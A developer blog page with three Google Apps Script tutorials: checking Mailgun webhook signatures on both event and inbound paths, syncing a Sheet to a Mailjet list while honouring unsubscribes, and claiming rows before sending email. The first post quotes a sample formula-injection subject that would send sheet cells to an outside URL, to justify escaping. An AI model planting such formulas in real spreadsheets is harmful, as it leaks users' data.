DEV Community: Hayrullah Kar

Your Mailgun Webhook Checks the Signature. Does Your Inbound Route?

Hayrullah Kar — Sun, 18 Oct 2026 13:24:23 +0000

A common way to wire Mailgun into a Google Sheet is one Apps Script web app with two jobs. Event webhooks report on mail you sent: delivered, opened, failed. An inbound Route forwards email that arrives at your domain, so each message becomes a row. The first version of that handler in my Mailgun guide on the MageSheet blog verified the signature on event webhooks and wrote inbound mail straight to the sheet. The inbound post looks different, so the signature seemed to belong to the other path.

It does not. Mailgun's webhook security guide says it signs every POST it makes to your server, and lists both: event webhooks, and "Inbound Routes – the POST made to your URL by a forward() or store(notify=...) action." Same key, same algorithm, different wrapping. A handler that verifies one path and not the other leaves a public URL that writes any text anyone sends it into your spreadsheet.

Sending through Mailgun's API and logging opens and bounces follow the same pattern as my Mailjet integration guide, so I will not repeat them here. This post is about the receiving side: one doPost that checks the signature on both paths before it writes anything, refuses replays, and keeps attacker-written text from turning into formulas.

Where the signature lives on each path

Each signed POST carries three values: timestamp, token and signature. The signature is a hex HMAC-SHA256 of timestamp + token, keyed with your webhook signing key. Mailgun's guide says that key is account-wide and lives under Settings, API Security, HTTP webhook signing key. It is not your API key and not a per-domain setting.

Only the wrapping differs between the two paths:

	Event webhook	Inbound Route post
Content type	`application/json`	`application/x-www-form-urlencoded`, or `multipart/form-data` when the email has attachments
Where the signature is	a `signature` object next to `event-data`	three top-level form fields next to `sender`, `subject`, `body-plain`
What Apps Script gives you	`e.postData.contents`, to parse	`e.parameter`

That last row is where handlers usually branch, and where the inbound branch usually loses its check. The guide's own Node example passes the same three values to the same verify function on both paths.

One check for both paths

The first block is the verification itself. It returns an empty string for a genuine request and a reason for anything else, so the reason can be logged.

const MAX_AGE_S = 900; // Mailgun warns that delivery can be delayed

function hex_(bytes) {
  // Apps Script returns signed bytes (-128..127)
  return bytes
    .map(b => ('0' + (b & 0xff).toString(16)).slice(-2))
    .join('');
}

// Compare every character, so the time taken leaks nothing.
function sameHex_(a, b) {
  if (typeof a !== 'string' || typeof b !== 'string') return false;
  if (a.length !== b.length) return false;
  let diff = 0;
  for (let i = 0; i < a.length; i++) {
    diff |= a.charCodeAt(i) ^ b.charCodeAt(i);
  }
  return diff === 0;
}

// One check for event webhooks and Routes posts alike.
// Returns '' when the request is genuine, else the reason.
function checkSignature_(sig, key, nowS) {
  if (!sig || !sig.timestamp || !sig.token || !sig.signature) {
    return 'missing signature';
  }
  const mac = Utilities.computeHmacSha256Signature(
    String(sig.timestamp) + sig.token, key);
  const sent = String(sig.signature).toLowerCase();
  if (!sameHex_(hex_(mac), sent)) return 'bad signature';
  const age = nowS - Number(sig.timestamp);
  if (!(Math.abs(age) <= MAX_AGE_S)) return 'stale timestamp';
  return '';
}

// Honor each token once. The lock stops two copies of the
// same request from both passing the check.
function firstUse_(token) {
  const lock = LockService.getScriptLock();
  lock.waitLock(10000);
  try {
    const cache = CacheService.getScriptCache();
    if (cache.get('mg:' + token)) return false;
    cache.put('mg:' + token, '1', 2 * MAX_AGE_S);
    return true;
  } finally {
    lock.releaseLock();
  }
}

Four details in there each have a test that fails without them.

b & 0xff. Utilities.computeHmacSha256Signature returns signed bytes, from -128 to 127. Without the mask, about half the bytes turn into strings like -3a and the hex never matches. In my test run every one of 50 MACs had at least one negative byte, so the unmasked version never verifies anything.

!(Math.abs(age) <= MAX_AGE_S) instead of age > MAX_AGE_S. If timestamp is not a number, age is NaN, and NaN > 900 is false, so the stale check passes. Writing it as "not within the window" makes NaN fail. Math.abs also rejects timestamps from the future, which a plain age < 300 lets through.

A window of 15 minutes, not 5. Mailgun's guide says there can be delays outside its control and warns not to be too aggressive with this check. A five-minute window drops a real event that arrives six minutes late.

The token cache. The signature covers only the timestamp and the token, not the body. So a captured signature can be sent again inside the window with different content. Mailgun's guide suggests caching each token and refusing it a second time. firstUse_ does that with CacheService, under a script lock so two copies of the same request cannot both pass.

Verify first, then branch

The handler checks the signature before it decides which kind of request it has. A rejected request gets one row in a Rejected tab with the reason and nothing from the body.

function doPost(e) {
  const key = PropertiesService.getScriptProperties()
    .getProperty('MG_SIGNING_KEY');
  if (!key) throw new Error('MG_SIGNING_KEY is not set');

  const req = parseRequest_(e);
  const why = checkSignature_(req.sig, key, Date.now() / 1000) ||
    (firstUse_(req.sig.token) ? '' : 'token already used');
  if (why) {
    logRejected_(req, why);
    return ContentService.createTextOutput('rejected');
  }
  if (req.kind === 'event') writeEvent_(req.body);
  else writeInbound_(req.body);
  return ContentService.createTextOutput('ok');
}

// Pure: pick the shape from the content type. e.parameter also
// holds the query string, so a field test can be fooled.
function parseRequest_(e) {
  const type = (e.postData && e.postData.type) || '';
  if (type.indexOf('application/json') === 0) {
    let body = {};
    try {
      body = JSON.parse(e.postData.contents);
    } catch (err) {
      body = {};
    }
    return { kind: 'event', type: type,
      sig: body.signature || {}, body: body };
  }
  const p = e.parameter || {};
  return { kind: 'inbound', type: type, body: p,
    sig: { timestamp: p.timestamp, token: p.token,
      signature: p.signature } };
}

parseRequest_ decides the path from the content type, not from whether a field like body-plain is present. e.parameter holds query string values as well as form fields, so a field check can be fooled by the URL alone. When I switched the routing to a body-plain check, a correctly signed JSON event posted to a URL ending in ?body-plain=x went down the inbound branch, found no form signature and was rejected. A real event, lost. The content-type check does not have that problem.

The Rejected tab is how you find out something is wrong. A missing signing key fails loudly with an error. A forged request, a replay or a wrong key leaves a row with a reason. If that tab starts filling up with missing signature, someone has your /exec URL.

One case I could not test outside Google: Mailgun posts inbound mail with attachments as multipart/form-data, and I have not confirmed how e.parameter handles that in a deployed web app. If those fields do not arrive, the request is rejected with missing signature and shows up in the Rejected tab instead of disappearing. Send yourself one email with an attachment after you deploy and check which tab it lands in.

Signed is not the same as safe

A valid signature proves Mailgun delivered the request. It says nothing about the text inside. An inbound Route forwards mail from anyone who can email that address, so the subject and body are written by strangers.

Apps Script's appendRow documentation says: "If a cell's content begins with =, it's interpreted as a formula." So an email with the subject =IMAGE("https://example.com/?"&A1) becomes a live formula in your Inbox tab. Formulas like that can request outside URLs with values from your sheet in the address.

const FORMULA_START = /^[=+\-@\t\r]/;
const CELL_MAX = 50000;

// Inbound text was written by whoever emailed you. A valid
// signature means Mailgun delivered it, not that it is safe.
function cell_(v) {
  let s = v == null ? '' : String(v);
  if (FORMULA_START.test(s)) s = "'" + s;
  if (s.length > CELL_MAX) s = s.slice(0, CELL_MAX - 1) + '…';
  return s;
}

// Pure: one Inbox row. stripped-text drops the quoted thread.
function inboundRow_(p, now) {
  return [now, cell_(p.sender), cell_(p.recipient),
    cell_(p.subject),
    cell_(p['stripped-text'] || p['body-plain']),
    Number(p['attachment-count']) || 0];
}

// Pure: one Events row. user-variables.row joins it to a send.
function eventRow_(data, now) {
  const ev = data['event-data'] || {};
  const headers = (ev.message || {}).headers || {};
  return [now, cell_(ev.event), cell_(ev.recipient),
    cell_((ev['user-variables'] || {}).row),
    cell_(headers['message-id']),
    cell_((ev['delivery-status'] || {}).message)];
}

function writeInbound_(p) {
  sheet_('Inbox').appendRow(inboundRow_(p, new Date()));
}

function writeEvent_(data) {
  sheet_('Events').appendRow(eventRow_(data, new Date()));
}

// No body here: a forged request leaves a trace in the sheet,
// but none of its text.
function logRejected_(req, why) {
  sheet_('Rejected').appendRow(
    [new Date(), req.kind, cell_(req.type), why]);
}

function sheet_(name) {
  const ss = SpreadsheetApp.getActive();
  return ss.getSheetByName(name) || ss.insertSheet(name);
}

cell_ puts an apostrophe in front of anything starting with =, +, - or @, which tells Sheets to keep the value as text. Only = is in Google's documentation. The other three are on the usual CSV-injection list, and escaping them also keeps a phone number like +1 555 0100 from being read as a number. It also cuts anything longer than 50,000 characters, the per-cell limit in Sheets, so one long email does not fail the whole write. Event fields go through cell_ too. They come from Mailgun, but the recipient address and bounce messages contain text other people chose.

How I tested it

Apps Script services do not run outside Google, so I tested the three blocks in Node against a fake Utilities that returns signed bytes the way Apps Script does, plus fake CacheService, LockService and a sheet that records every appendRow. Signatures were computed with Node's crypto, the way Mailgun's own example does it.

29 checks pass. They cover valid events and inbound mail, a forged inbound post with no signature, a wrong signing key on both paths, timestamps an hour old and an hour ahead, a signed non-numeric timestamp, a token used twice, a captured event signature sent again with a new body, formula-shaped subjects and senders, a 60,000-character body, a missing key, broken JSON and the query-string case above.

I also ran the earlier handler, with the inbound branch unverified and a five-minute one-sided window, through the same requests:

Request	Earlier handler	This version
Inbound post with no signature	written to Inbox	rejected, logged
JSON post with `?body-plain=` in the URL	written to Inbox	rejected, logged
Event signed an hour in the future	written to Events	rejected
Same token sent twice	two rows	one row
Subject `=IMAGE(...)`	stored as a formula	stored as text
Real event delayed 400 seconds	dropped	written

Then I broke my own code twelve ways to check the tests can fail. Verifying only after the inbound branch failed 10 checks. Removing & 0xff failed every signature check. Dropping the token cache failed 3. Removing the formula escape failed 3. Routing by body-plain instead of content type, writing age > MAX_AGE_S, removing Math.abs, escaping only =, removing the 50,000 cut, the lock's finally, the lower-casing of the signature and the missing-key check each failed 1. None of the twelve went unnoticed.

I have not run this against a live Mailgun account. The payload shapes come from Mailgun's documentation, and the apostrophe behaviour comes from how Sheets treats typed input, not from a test in a live sheet.

Pitfalls I would check first

The inbound branch writes before it verifies. Search your handler for the first appendRow and make sure a signature check runs before it on every path.

The signing key is in the wrong place. It is the account-wide HTTP webhook signing key under API Security, not the API key and not a per-domain value. With the wrong key every request fails, and the Rejected tab tells you so.

The window only looks backwards. age < 300 accepts any timestamp in the future. Compare the absolute difference.

A valid signature is replayable. It does not cover the body. Cache the token.

Email text becomes a formula. Anything written by appendRow or setValues that starts with = is a formula. Escape it before it reaches the sheet.

The one thing to keep

There is one public URL, so there should be one gate. Verify the signature, check the timestamp both ways and spend the token before the handler looks at what kind of request it has, and treat every string inside as text someone else wrote. Mailgun's region setting, form-encoded sending and the Route setup are covered on the MageSheet blog.

Built by the MageSheet team.

Syncing a Google Sheet to a Mailjet List Without Re-Subscribing Anyone

Hayrullah Kar — Fri, 16 Oct 2026 19:18:52 +0000

A common setup: a customer list lives in a Google Sheet, and a nightly Apps Script job mirrors it into a Mailjet contact list so campaigns go to whoever is in the sheet. The simplest version of that job sends every row to Mailjet with the action addforce. It runs cleanly for weeks, and it re-subscribes anyone who clicked unsubscribe since the last run, because that is exactly what addforce is documented to do.

The fix is not one setting. Mailjet has four actions for putting contacts into a list, and only one of them leaves an unsubscribe alone. Even that one stops protecting a person once a list cleanup removes them. So the sheet has to learn about unsubscribes before it pushes anything, and keep that knowledge itself.

This is the contact-list half of a Mailjet integration. Sending from rows and logging opens and bounces through the Event API is covered in my Google Sheets email guide, so I will not repeat it here.

The four actions, and the one that resubscribes people

Contacts go into a list through POST /v3/REST/contactslist/{list_ID}/managemanycontacts. The body is an Action plus an array of contacts. Mailjet's bulk contact guide defines the actions like this:

Action	Contact not in the list	Contact in the list as unsubscribed
`addforce`	added and subscribed	subscribed again
`addnoforce`	added and subscribed	stays unsubscribed
`remove`	nothing	removed from the list
`unsub`	nothing	stays unsubscribed

addforce is the dangerous one for a sync. It is the right call when a person has just opted in again on your own signup form. It is the wrong call for a scheduled job that sends the whole sheet every night, because the sheet does not know who unsubscribed in Mailjet since the last run.

addnoforce fixes the common case. The gap is the second column. When someone unsubscribes and a later cleanup uses remove on that list, there is no list membership left to remember the unsubscribe. On the next run addnoforce sees a contact that is not in the list and subscribes it. The person who left is back.

So the rule has two parts. Push with addnoforce only. And before every push, pull Mailjet's unsubscribes down into the sheet, where they stay even after Mailjet forgets them.

Pulling unsubscribes down first

The list membership lives in the listrecipient resource. It takes a ContactsList filter and an Unsub=true filter that returns only unsubscribed members. Two details in its response shape the code.

First, a list recipient carries a ContactID, not an email address. To match it to a sheet row you also need the list's contacts from GET /v3/REST/contact?ContactsList=..., which do have Email, and you join on the ID.

Second, every list endpoint is paged. The default page size is 10 and the maximum is 1000, so a call with no Limit silently returns the first ten unsubscribes and looks like it worked. mjAll_ below asks for 1000 at a time and keeps going until a page comes back short.

The Contacts tab has five columns: Email | Name | Status | UnsubAt | SyncedAt. Put MJ_KEY, MJ_SECRET and MJ_LIST_ID in Project Settings, Script properties, not in the code.

// Contacts tab: Email | Name | Status | UnsubAt | SyncedAt
const MJ_REST = 'https://api.mailjet.com/v3/REST/';
const PAGE = 1000; // Mailjet's max per page; default is only 10

function mj_(method, path, body) {
  const p = PropertiesService.getScriptProperties();
  const auth = Utilities.base64Encode(
    p.getProperty('MJ_KEY') + ':' + p.getProperty('MJ_SECRET')
  );
  const res = UrlFetchApp.fetch(MJ_REST + path, {
    method: method,
    contentType: 'application/json',
    headers: { Authorization: 'Basic ' + auth },
    payload: body ? JSON.stringify(body) : undefined,
    muteHttpExceptions: true,
  });
  const code = res.getResponseCode();
  if (code >= 300) {
    throw new Error(method + ' ' + path + ' -> ' + code);
  }
  return JSON.parse(res.getContentText());
}

function mjAll_(path) {
  const out = [];
  for (let offset = 0; ; offset += PAGE) {
    const sep = path.indexOf('?') === -1 ? '?' : '&';
    const page = mj_('get',
      path + sep + 'Limit=' + PAGE + '&Offset=' + offset);
    out.push.apply(out, page.Data);
    if (page.Count < PAGE) return out;
  }
}

function norm_(email) {
  return String(email || '').trim().toLowerCase();
}

// Step 1 of every sync: copy Mailjet's unsubscribes into the sheet.
function pullUnsubs() {
  const listId = PropertiesService.getScriptProperties()
    .getProperty('MJ_LIST_ID');
  const unsubs = mjAll_('listrecipient?ContactsList=' + listId +
    '&Unsub=true');
  if (!unsubs.length) return 0;

  // listrecipient carries ContactID, not the address
  const emailById = {};
  mjAll_('contact?ContactsList=' + listId).forEach(c => {
    emailById[c.ID] = norm_(c.Email);
  });
  const unsubAt = {};
  unsubs.forEach(r => {
    const email = emailById[r.ContactID];
    if (email) unsubAt[email] = r.UnsubscribedAt || 'unknown';
  });
  return markUnsubscribed_(unsubAt);
}

function markUnsubscribed_(unsubAt) {
  const sheet = SpreadsheetApp.getActive().getSheetByName('Contacts');
  const values = sheet.getDataRange().getValues();
  let changed = 0;
  for (let i = 1; i < values.length; i++) {
    const at = unsubAt[norm_(values[i][0])];
    if (at && values[i][2] !== 'unsubscribed') {
      values[i][2] = 'unsubscribed';
      values[i][3] = at;
      changed++;
    }
  }
  if (changed) {
    sheet.getRange(1, 1, values.length, values[0].length)
      .setValues(values);
  }
  return changed;
}

markUnsubscribed_ only ever writes unsubscribed. Nothing in this code sets a row back to subscribed. If a person really does opt in again, that happens through a form you control, and a person clears the Status cell on purpose. The sheet is the record of who asked to leave. Mailjet is the copy.

Pushing up with addnoforce, in batches

The push reads the sheet, drops anything that is not a plausible address, drops every row marked unsubscribed, and removes duplicates after trimming and lowercasing. buildContacts_ is a pure function so it can be tested without Apps Script.

const BATCH = 500; // my choice; keeps each job small

// Pure: which rows go up, deduplicated, never an unsubscribed one.
function buildContacts_(values) {
  const seen = {};
  const out = [];
  values.slice(1).forEach(row => {
    const email = norm_(row[0]);
    if (!/^[^@\s]+@[^@\s]+\.[^@\s]+$/.test(email)) return;
    if (row[2] === 'unsubscribed' || seen[email]) return;
    seen[email] = true;
    out.push({ Email: email, Name: String(row[1] || '') });
  });
  return out;
}

function pushContacts() {
  const lock = LockService.getScriptLock();
  if (!lock.tryLock(5000)) return; // another sync is running
  try {
    pullUnsubs(); // down first, then up
    const props = PropertiesService.getScriptProperties();
    const listId = props.getProperty('MJ_LIST_ID');
    const sheet = SpreadsheetApp.getActive()
      .getSheetByName('Contacts');
    const contacts = buildContacts_(sheet.getDataRange().getValues());

    const jobs = [];
    for (let i = 0; i < contacts.length; i += BATCH) {
      const res = mj_('post',
        'contactslist/' + listId + '/managemanycontacts', {
          Action: 'addnoforce', // never 'addforce' from a sheet
          Contacts: contacts.slice(i, i + BATCH),
        });
      jobs.push(res.Data[0].JobID);
    }
    props.setProperty('MJ_JOBS', JSON.stringify(jobs));
    return jobs;
  } finally {
    lock.releaseLock();
  }
}

// Run a few minutes later: the upload is asynchronous.
function checkJobs() {
  const props = PropertiesService.getScriptProperties();
  const listId = props.getProperty('MJ_LIST_ID');
  const jobs = JSON.parse(props.getProperty('MJ_JOBS') || '[]');
  return jobs.map(id => {
    const job = mj_('get', 'contactslist/' + listId +
      '/managemanycontacts/' + id).Data[0];
    return { id: id, status: job.Status, error: job.Error || '' };
  });
}

A few choices in there are deliberate.

pullUnsubs() runs inside pushContacts(), before the upload, not on a separate trigger. If the two ran on their own schedules, a push could land between someone unsubscribing and the next pull.

The script lock stops two overlapping runs from interleaving a pull and a push. A second run that cannot get the lock in five seconds exits without making a call.

managemanycontacts is asynchronous. The response is a JobID, not a result, so a 201 only means the job was accepted. checkJobs() reads each job with GET .../managemanycontacts/{job_ID} and returns its Status and Error. I run it from a time trigger a few minutes after the push and log anything that is not Completed.

The batch size of 500 is my own choice. The guide I worked from does not state a ceiling for this endpoint, so treat 500 as a conservative default, not a Mailjet limit.

The list does not protect the Send API

This one surprised me. A list unsubscribe stops campaigns sent to that list. Mailjet's exclusion-list guide says contacts on the exclusion list "will still be able to receive messages sent via the Send API". A Send API call names a recipient, not a list, and I found nothing in the docs that makes it check list membership. So a script that mails people directly from the sheet has to do that check itself.

If the same spreadsheet also sends one-to-one mail through the Send API, as in the sending guide, it has to check its own records before every send. The suppression set below merges the sheet's unsubscribes with the bounce, spam, unsub and blocked rows of the Events tab that the webhook fills.

const STOP_EVENTS = ['bounce', 'spam', 'unsub', 'blocked'];

// Pure: one set of addresses that must not get another email.
function suppressionSet_(contactRows, eventRows) {
  const stop = {};
  contactRows.slice(1).forEach(r => {
    if (r[2] === 'unsubscribed') stop[norm_(r[0])] = 'unsubscribed';
  });
  // Events tab: Time | Event | Email | CustomID | MessageID | Error
  eventRows.slice(1).forEach(r => {
    if (STOP_EVENTS.indexOf(r[1]) !== -1) stop[norm_(r[2])] = r[1];
  });
  return stop;
}

function loadSuppression_() {
  const ss = SpreadsheetApp.getActive();
  const rows = name => {
    const sh = ss.getSheetByName(name);
    return sh ? sh.getDataRange().getValues() : [[]];
  };
  return suppressionSet_(rows('Contacts'), rows('Events'));
}

// Call this before every Send API request.
function canSend_(stop, email) {
  const reason = stop[norm_(email)];
  return reason ? { ok: false, reason: reason } : { ok: true };
}

Build the set once per run with loadSuppression_(), then call canSend_(stop, email) for each row and write the returned reason into the row's status instead of sending. A reason in the sheet is easier to explain later than a missing email.

How I tested it

Apps Script services do not run outside Google, so I tested the three blocks in Node against a fake UrlFetchApp that behaves like the Mailjet endpoints above: the four actions as the bulk guide describes them, Unsub filtering, ContactID instead of email on list recipients, and a default page of 10.

35 checks pass. They cover the remove-then-resync case, 25 unsubscribes against a page size of 10, an unsubscribed contact sitting on the second page of a 1,100-contact list, 1,201 rows split into three jobs, the lock, a 401 that still releases the lock, and the suppression set.

To check that the tests can fail, I broke the code six ways and reran them. Switching to addforce failed 1 check. Dropping the page size back to 10 failed 5. Skipping the pull before the push failed 4. Letting unsubscribed rows through buildContacts_ failed 5. Narrowing the stop list to bounces only failed 2. Removing the Offset increment made mjAll_ loop until the test process ran out of memory, which is the same thing a real run would do until Apps Script killed it at six minutes.

Pitfalls I would check first

A call with no Limit returns ten rows. Nothing errors and the count looks plausible on a small list. Check any Mailjet list call for Limit and an Offset loop.

listrecipient has no email field. Matching on ContactID against a sheet of emails matches nothing, and the sync reports zero unsubscribes forever.

A list cleanup erases the unsubscribe. After remove, only your sheet remembers that the person left. If the sheet does not record it, addnoforce adds them back.

A 201 from managemanycontacts is not a success. It is an accepted job. Read the job status before you report the sync as done.

Contact endpoints have a lower rate limit than sending. Mailjet returns 429 when you go over the per-second limit, and its rate-limit page says the non-transactional APIs get much lower limits. mj_ throws on it, which stops the run. For larger lists, add the backoff from my UrlFetchApp retries guide.

The one thing to keep

Treat Mailjet's list as a copy of the sheet, not the other way round, and make the sheet the place where an unsubscribe can never be undone by a script. Pull before you push, push with addnoforce, and check the same record before any direct send. The full two-way setup, from the send loop and webhook to the dashboard formulas, is on the MageSheet blog.

Built by the MageSheet team.

Email From a Google Sheet: Claim the Row Before You Send It

Hayrullah Kar — Thu, 15 Oct 2026 14:28:05 +0000

Every guide to sending email from a Google Sheet ends with the same safety rule: write SENT next to each row after you mail it, so a rerun skips what already went out. The rule is right, and on its own it does not stop a double send. It stops the next run from repeating the last one. It does nothing about two runs that are reading the sheet at the same time.

That happens more easily than it sounds. Run the function that installs the hourly trigger a second time and you now have two identical triggers, firing in the same minute, both reading an Outbox where nothing says SENT yet. Click Run in the editor while the trigger is halfway through and you get the same thing by hand. Every customer on the list hears from you twice, and the sheet ends up looking perfectly tidy.

There is a second gap on the way back in. The usual webhook that logs bounces into the sheet keys each event by the provider's MessageID, and the MessageID in Mailjet's own sample event is an integer larger than JavaScript can hold exactly. Parse it and its neighbours, and three different messages come back as the same number, so a bounce can land on the wrong row.

This post fixes both, with code you can paste into a sheet today.

Why there is no SMTP setting to fill in

Apps Script has no raw socket access, so it cannot open a connection to smtp.yourprovider.com on port 587 the way a Node or Python script can. That is why "connect Google Sheets to SMTP" guides never show a box for your SMTP host and password: there is nowhere to put it. Two routes work instead.

MailApp, which sends through Google using the account that owns the script. No credentials, and a hard daily cap: Google documents 100 recipients a day on a consumer Gmail account and 1,500 on Workspace.
Your provider's HTTPS send endpoint, called with UrlFetchApp. Mailjet, Mailgun, SendGrid, Brevo and Postmark all offer one next to their SMTP port, and it does the same job over HTTPS with your own authenticated domain.

The code below starts on MailApp and moves to Mailjet by swapping one function. Everything else, including the safety logic, stays the same.

A row has to claim itself before it sends

The fix for overlapping runs is to make each row move through states, and to commit the move before the email goes out.

Status	What it means	What the next run does
(blank)	not sent yet	sends it
SENDING	claimed, outcome not recorded	skips it, a person checks
SENT	the sender accepted it	skips it
FAILED: reason	the sender rejected it	skips it until someone clears the cell

Two things make the claim stick. A script lock means a second run that starts while the first is busy gives up straight away instead of reading the sheet. And SpreadsheetApp.flush() right after writing SENDING pushes that value to the sheet before the send, rather than leaving it in the batch of pending writes Apps Script normally holds until the run ends.

The Outbox tab has seven columns: Email, Name, Subject, Body, Status, SentAt, CustomID. Subject and Body can contain placeholders such as {{Name}}, and any column header works as a placeholder.

// Outbox: Email | Name | Subject | Body | Status | SentAt | CustomID
const OUTBOX = 'Outbox';

function sendFromSheet() {
  const lock = LockService.getScriptLock();
  if (!lock.tryLock(1000)) return; // a previous run is still going
  try {
    const sheet = SpreadsheetApp.getActive().getSheetByName(OUTBOX);
    const rows = sheet.getDataRange().getValues();
    const col = indexer_(rows.shift());
    // throws here if a column the script writes is missing
    ['Email', 'Status', 'SentAt', 'CustomID'].forEach(col);
    for (let i = 0; i < rows.length; i++) {
      const row = rows[i];
      const r = i + 2; // sheet row number
      const to = String(row[col('Email')]).trim();
      if (!to || row[col('Status')] !== '') continue;
      const id = Utilities.getUuid();
      mark_(sheet, r, col, 'SENDING', '', id);
      SpreadsheetApp.flush(); // commit the claim before sending
      try {
        deliver_({
          to: to,
          subject: fill_(row[col('Subject')], row, col, false),
          htmlBody: fill_(row[col('Body')], row, col, true),
          name: 'Your Company',
          customId: id,
        });
        mark_(sheet, r, col, 'SENT', new Date(), id);
      } catch (err) {
        if (err.message === 'QUOTA') {
          mark_(sheet, r, col, '', '', ''); // nothing went out
          break;
        }
        mark_(sheet, r, col, 'FAILED: ' + err.message, '', id);
      }
    }
  } finally {
    lock.releaseLock();
  }
}

function deliver_(msg) {
  if (MailApp.getRemainingDailyQuota() < 1) {
    throw new Error('QUOTA');
  }
  MailApp.sendEmail({
    to: msg.to,
    subject: msg.subject,
    htmlBody: msg.htmlBody,
    name: msg.name,
  });
}

function indexer_(header) {
  return name => {
    const i = header.indexOf(name);
    if (i < 0) throw new Error('No column named ' + name);
    return i;
  };
}

function fill_(template, row, col, html) {
  return String(template).replace(/\{\{(\w+)\}\}/g, (m, key) => {
    const v = String(row[col(key)]);
    return html ? escape_(v) : v;
  });
}

function escape_(s) {
  return s.replace(/&/g, '&amp;').replace(/</g, '&lt;')
    .replace(/>/g, '&gt;').replace(/"/g, '&quot;');
}

function mark_(sheet, r, col, status, sentAt, id) {
  sheet.getRange(r, col('Status') + 1).setValue(status);
  sheet.getRange(r, col('SentAt') + 1).setValue(sentAt);
  sheet.getRange(r, col('CustomID') + 1).setValue(id);
}

A few decisions in there are deliberate.

The loop skips anything that is not blank. A row stuck on SENDING means the run died between claiming it and recording the result, and from inside the sheet there is no way to know whether that one email went out. Sending it again is a guess. Leaving it for a person is not. I would rather explain one missing email than apologise for a duplicate.

Quota is checked inside deliver_, per message, and an exhausted quota hands the row back. When MailApp reports zero recipients left, the row goes back to blank and the loop stops, so the next run picks it up where this one ended. A quota error is not a failure of that row and should not be recorded as one.

The column lookup throws instead of returning -1. With a plain indexOf, a renamed Status header gives -1, every row reads undefined, and nothing looks wrong. Here the four columns the script writes are checked before any row is touched, so a missing SentAt stops the run with nothing sent, and a typo such as {{Nmae}} in a template becomes a FAILED row with the reason in the cell.

Placeholders in the HTML body are escaped. A customer whose name field contains an ampersand or an angle bracket gets their name printed, not markup.

Moving to a provider is one function

When you outgrow the daily cap, or start emailing people who did not ask to hear from you, you want a sending domain with SPF and DKIM. Store the keys in Project Settings, Script properties, never in the code: a key typed into a script inside a shared spreadsheet belongs to everyone with edit access.

This replaces deliver_ from the MailApp version. Nothing else changes.

// Replaces deliver_ from the MailApp version. Nothing else changes.
function deliver_(msg) {
  const props = PropertiesService.getScriptProperties();
  const key = props.getProperty('MJ_KEY');
  const secret = props.getProperty('MJ_SECRET');
  const auth = Utilities.base64Encode(key + ':' + secret);

  const res = UrlFetchApp.fetch('https://api.mailjet.com/v3.1/send', {
    method: 'post',
    contentType: 'application/json',
    headers: { Authorization: 'Basic ' + auth },
    payload: JSON.stringify({
      Messages: [{
        From: {
          Email: 'billing@yourdomain.com',
          Name: msg.name,
        },
        To: [{ Email: msg.to }],
        Subject: msg.subject,
        HTMLPart: msg.htmlBody,
        CustomID: msg.customId, // comes back on every event
      }],
    }),
    muteHttpExceptions: true,
  });

  const code = res.getResponseCode();
  if (code === 429) throw new Error('QUOTA'); // stop, retry next run
  if (code >= 300) {
    const text = res.getContentText().slice(0, 200);
    throw new Error('Mailjet ' + code + ' ' + text);
  }
}

Mailjet does not answer with a quota number the way MailApp does. It answers 429 when you go over your plan's rate, so that becomes the same QUOTA signal: the row goes back to blank and waits for the next run. Any other code at 300 or above becomes FAILED with the first 200 characters of Mailjet's error, which is usually enough to see whether it was a bad address, an unverified sender or a wrong key. If you send in bulk, the UrlFetchApp quotas and retries guide covers what to do about 429s beyond waiting an hour.

The line that matters for the next section is CustomID. That is a value I generate and write to the row before sending, and Mailjet repeats it on every event it reports for that message.

Why the join key is CustomID and not MessageID

The common way to log bounces back is to store ev.MessageID from each webhook event. In Mailjet's own sample event the value is 19421777835146490, sent as a bare JSON number. JSON.parse turns every number into a JavaScript double, and doubles hold integers exactly only up to 2^53, which is 9007199254740992. Mailjet's sample is about twice that.

At that size the gap between neighbouring doubles is 4. I parsed the sample ID and the three after it in Node:

Sent by Mailjet	After JSON.parse
19421777835146490	19421777835146490
19421777835146491	19421777835146492
19421777835146492	19421777835146492
19421777835146493	19421777835146492

Three different messages, one key. Nothing throws. Messages sent close together get IDs close together, so a bounce for one customer gets attributed to whichever of them you match first. Google Sheets stores numbers as doubles too, so writing the raw value to a cell does not save you. Mailjet also sends the ID as a string in mj_message_id on some events, but its docs mark that field deprecated.

CustomID avoids the whole problem. It is a string I chose, it already sits on the row, and Mailjet's sample events carry it back as CustomID.

The webhook, with a key the script can actually check

Apps Script can be the URL your provider posts events to. Deploy the project as a web app, executing as you, with access set to Anyone. That URL is now public, so it needs a check.

Most guides say to verify the provider's signature. In Apps Script that is often impossible: doPost(e) never sees the request headers, and SendGrid's signed event webhook and Postmark's basic auth both travel in headers. Mailjet's own guide recommends basic auth credentials in the webhook URL, and those arrive as an Authorization header too. What doPost does see is the query string. So I put a long random secret in Script properties as HOOK_KEY and register the webhook as the /exec URL with ?key= and that secret appended.

// Events: Time | Event | Email | CustomID
function doPost(e) {
  const want = PropertiesService.getScriptProperties()
    .getProperty('HOOK_KEY');
  if (!want || (e.parameter || {}).key !== want) {
    return reply_({ ok: false }); // still HTTP 200, see below
  }

  const data = JSON.parse(e.postData.contents);
  const events = Array.isArray(data) ? data : [data];
  const rows = events.map(ev => [
    ev.time ? new Date(ev.time * 1000) : new Date(),
    String(ev.event || ''),
    String(ev.email || ''),
    String(ev.CustomID || ''), // join key, never ev.MessageID
  ]);
  if (!rows.length) return reply_({ ok: true, n: 0 });

  const lock = LockService.getScriptLock();
  lock.waitLock(20000); // two batches must not get the same row
  try {
    const sheet = SpreadsheetApp.getActive().getSheetByName('Events');
    sheet.getRange(sheet.getLastRow() + 1, 1, rows.length, 4)
      .setValues(rows);
  } finally {
    lock.releaseLock();
  }
  return reply_({ ok: true, n: rows.length });
}

function reply_(obj) {
  return ContentService.createTextOutput(JSON.stringify(obj))
    .setMimeType(ContentService.MimeType.JSON);
}

The lock is there because two batches arriving at once would both read getLastRow() and write over each other. A single appendRow per event avoids that but costs one call per row. Writing the whole batch in one setValues inside a lock keeps it to one write.

Then the Events tab joins back to the Outbox on CustomID with an ordinary lookup, and a bounce lands next to the row that caused it.

Pitfalls I would check before trusting this

The wrong key still gets HTTP 200. A web app cannot set a status code. The rejection is in the body, which the provider ignores. It does no harm, because nothing is written, but it also means a typo in the registered URL fails silently. Send one test event from the provider's dashboard and look for the row.

The /exec URL answers a POST with a redirect. doPost runs before the redirect, so the row is written, but Mailjet's webhook guide says anything other than 200 OK is retried every 30 seconds for up to 24 hours. Check the webhook log after the first real events. If it shows retries, the Events tab will hold duplicates, and the clean fix is to ignore an event whose CustomID, event and time are already present.

